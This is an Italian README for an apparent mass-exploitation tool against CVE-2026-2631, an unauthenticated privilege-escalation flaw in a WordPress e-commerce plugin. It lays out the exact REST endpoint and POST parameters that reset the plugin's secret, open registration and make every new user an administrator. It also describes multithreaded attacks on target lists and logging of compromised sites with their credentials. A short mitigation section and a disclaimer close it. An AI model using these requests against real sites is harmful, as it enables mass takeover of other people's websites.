CVE-2026-2631

Datalogics Ecommerce Delivery – Datalogics < 2.6.60 - Escalatione dei privilegi non autenticata

💥 CVE-2026-2631 – Datalogics Ecommerce Delivery (WordPress) – Escalation dei privilegi non autenticata

PoC / Script Exploit: CVE-2026-2631.py
Autore: Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
Contatto: Telegram: @Kxploit

🧬 Panoramica della vulnerabilità

• Plugin: Datalogics Ecommerce Delivery – Datalogics (WordPress)
• Versioni interessate: < 2.6.60 (esclusa)
• Tipo di vulnerabilità: Escalation dei privilegi non autenticata
• CVE: CVE-2026-2631
• CVSS v3.1: 9.8 (Critico)
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Pubblicata pubblicamente: 12 marzo 2026
• Ultimo aggiornamento: 19 marzo 2026
• Ricercatore: Khaled Alenazi (Nxploited)

Il plugin Datalogics Ecommerce Delivery – Datalogics espone un endpoint non autenticato:

/wp-json/gsf/v1/update-options

Questo script abusa di tale endpoint per:

1. 💣 Reimpostare la chiave interna shop_secret usando l'azione vulnerabile resetStoreConfigrations.
2. 🔓 Abilitare la registrazione utente: users_can_register = 1.
3. 👑 Impostare il ruolo predefinito dei nuovi utenti su administrator: default_role = administrator.
4. 🧑‍💻 Registrare automaticamente un nuovo utente tramite il modulo di registrazione di WordPress:
   • wp-login.php?action=register

In caso di successo, qualsiasi nuovo utente creato tramite il modulo di registrazione sarà un amministratore.

⚙️ Funzionalità

• ✅ Exploitation di massa contro più target WordPress (da un file).
• ✅ Non autenticata (nessun login/cookie richiesto).
• ✅ Reset automatico di shop_secret tramite endpoint REST vulnerabile.
• ✅ Aggiornamento automatico delle opzioni WordPress:
  • users_can_register = 1
  • default_role = administrator
• ✅ Registrazione automatica dell'account con credenziali personalizzate.
• ✅ Output TUI ricco usando rich (tabella colorata e aggiornata in tempo reale).
• ✅ Multithread con numero di thread regolabile.
• ✅ Registrazione dei risultati in Login_admin.txt.

📦 Requisiti

🐍 Runtime

• Python 3.x (consigliata 3.8+)

📚 Pacchetti Python

Installa i pacchetti richiesti:

pip install -r requirements.txt

Esempio di requirements.txt:

requests
rich
urllib3

Oppure installa manualmente:

pip install requests rich urllib3

🧪 Logica dello script (flusso ad alto livello)

Per ogni target:

1. Normalizza URL

   • Assicura che http:// venga anteposto se mancante.
   • Rimuove gli slash finali.

2. Reimposta shop_secret

   • Endpoint:
     /wp-json/gsf/v1/update-options
   • Dati POST:
     • action = resetStoreConfigrations
     • shop_secret = <nuovo_segreto>
   • Cerca nel testo di risposta:
     • app secret key has been updated successfully

3. Aggiorna le opzioni WordPress

   • Stesso endpoint, con:
     • action = createUpdateOption
   • Due aggiornamenti di opzioni:
     1. option_key = users_can_register, option_value = 1
     2. option_key = default_role,

🧵 Modello multithread

• Legge tutti i target da list.txt (o file personalizzato).
• Divide i target in N blocchi usando chunkify.
• Avvia N thread worker, ciascuno che elabora la propria lista di target.
• Usa una Queue condivisa per i messaggi di stato verso il thread di stampa.
• Un thread di stampa dedicato (printer_loop) aggiorna una tabella rich live:
  • Mostra indice, sito, stato (SUCCESS/FAILED/ERROR) e dettaglio.
  • Visualizza totale elaborato e nome del file di output.

🚀 Utilizzo

1️⃣ Esecuzione base

python3 CVE-2026-2631.py

Ti verranno richiesti in modo interattivo:

1. File dei target

   • Prompt: Targets file (one host/URL per line) [list.txt]:
   • Default: list.txt
   • Ogni riga: dominio o URL completo
     • Esempi:
       • victim.com
       • https://target-site.com
       • http://example.org/blog

2. Thread

   • Prompt: Threads (1-50) [10]:
   • Default: 10
   • Max: 50
     Più thread = più veloce, ma carico maggiore sul tuo sistema e sui target.

3. Valore shop_secret

   • Prompt: shop_secret [Nxploited_newSecret]:
   • Default: Nxploited_newSecret
     Questa è la nuova chiave segreta inviata a resetStoreConfigrations.

Queste credenziali verranno usate per il tentativo di registrazione su ogni target vulnerabile.

2️⃣ Formato del file dei target

Crea list.txt (o qualsiasi file desideri) con un target per riga:

example1.com
http://example2.com
https://shop.example3.net
blog.target-site.org

Lo script:

• Aggiunge automaticamente http:// se mancante.
• Rimuove lo / finale.

3️⃣ Output e risultati

• Tutte le operazioni riuscite (anche se la registrazione utente fallisce ma le opzioni vengono impostate) vengono scritte in:

  Login_admin.txt

• Una riga tipica:

  root@kitploit:~

  http://example1.com | register_url: http://example1.com/wp-login.php?action=register | shop_secret: Nxploited_newSecret | reset_ok,option_ok,option_ok,register_open,registered user=Nx_test1 [email protected] pass=Nx_adminSA
  

• Esempi di stato nella tabella live:

  • ✅ SUCCESS – opzioni impostate e/o utente registrato.
  • ❌ FAILED – reset/opzioni falliti, vulnerabilità non sfruttabile.
  • ⚠️ ERROR – Eccezione, errori di rete, timeout, ecc.

🧱 Endpoint HTTP e parametri

🔓 Endpoint REST vulnerabile

POST /wp-json/gsf/v1/update-options

1. Reimposta shop_secret

action=resetStoreConfigrations
shop_secret=<nuovo_segreto>

2. Aggiorna le opzioni

action=createUpdateOption
shop_secret=<nuovo_segreto>
option_key=users_can_register
option_value=1

action=createUpdateOption
shop_secret=<nuovo_segreto>
option_key=default_role
option_value=administrator

🧑‍💻 Endpoint di registrazione

GET/POST /wp-login.php?action=register

Lo script:

• Estrae _wpnonce se presente.
• Invia i dati di registrazione con nome utente, email e password forniti (se i campi esistono).

🔧 Dettagli interni dello script (funzioni principali)

• normalize_site(raw: str) -> str
  Normalizza gli URL dei target.

• send_reset_secret(site: str, secret: str, timeout: int = 10) -> (bool, str)
  Prova l'azione resetStoreConfigrations.

• send_option(site: str, secret: str, key: str, value: str, timeout: int = 10) -> (bool, str)
  Imposta le opzioni WordPress tramite l'endpoint vulnerabile.

• check_registration_open(site: str, timeout: int = 10) -> (bool, str)
  Verifica se la registrazione è aperta e se il modulo è accessibile.

• try_register_user(...) -> (bool, str)
  Tenta di registrare l'utente fornito.

• write_success_line(site: str, secret: str, detail: str)
  Registra i dettagli di successo in Login_admin.txt.

• worker(...)
  Worker per-thread che:

  1. Reimposta

🧪 Esempio di esecuzione (interattiva)

$ python3 CVE-2026-2631.py

[Banner / ASCII Art]

Targets file (one host/URL per line) [list.txt]:
> list.txt

Threads (1-50) [10]:
> 20

shop_secret [Nxploited_newSecret]:
> NxSecret2026!

Registration username [Nx_test1]:
> admin_nx

Registration email [[email protected]]:
> [email protected]

Registration password [Nx_adminSA]:
> SuperStrongP@ss!

[La tabella live inizia a mostrare lo stato di ogni target]
Processed 5/20 targets · Output: Login_admin.txt

Done. Successful sites (if any) saved to Login_admin.txt.

🛡️ Mitigazione e raccomandazioni

Per Difensori / Proprietari di siti:

• 🔁 Aggiornate il plugin alla versione 2.6.60 o successiva immediatamente.
• 🧹 Verificate:
  • L'elenco utenti WordPress per amministratori sconosciuti.
  • Le registrazioni recenti in wp_users.
• 🔑 Rigenerate eventuali segreti o chiavi usati dal plugin.
• 📜 Ispezionate i log di accesso per richieste a:
  • /wp-json/gsf/v1/update-options
  • /wp-login.php?action=register
• 🧱 Valutate regole WAF per bloccare l'accesso non autorizzato a endpoint REST sensibili.

⚠️ Disclaimer legale

Questo script è fornito esclusivamente a scopo educativo e per test di sicurezza autorizzati.

• Non dovete utilizzare questo strumento su alcun sistema, applicazione o rete senza esplicito permesso scritto del proprietario.
• L'accesso non autorizzato, lo sfruttamento o l'abuso di vulnerabilità è illegale e può comportare accuse penali.
• L'autore (Khaled Alenazi – Nxploited), i contributori e i distributori di questo script:
  • ❌ Non si assumono alcuna responsabilità o obbligo per:
    • Uso improprio di questo codice
    • Danni causati direttamente o indirettamente
    • Qualsiasi conseguenza legale derivante dal suo utilizzo
• Utilizzando questo script, accettate che:
  • Siete gli unici responsabili delle vostre azioni.
  • Rispetterete tutte le leggi e normative locali, nazionali e internazionali applicabili.
  • Utilizzerete questo strumento solo in ambienti controllati e/o con adeguata autorizzazione (PT/Red Team, bug bounty, laboratorio, ecc.).

Se non siete d'accordo con questi termini, non utilizzate questo script.

❤️ Crediti

• Ricerca & Exploit:
  • Khaled Alenazi (Nxploited) – Nxploited ZeroDay Hub
• CVE: CVE-2026-2631
• Contatto: @Kxploit su Telegram

Restate al sicuro, hackerate in modo responsabile. 🕶️💻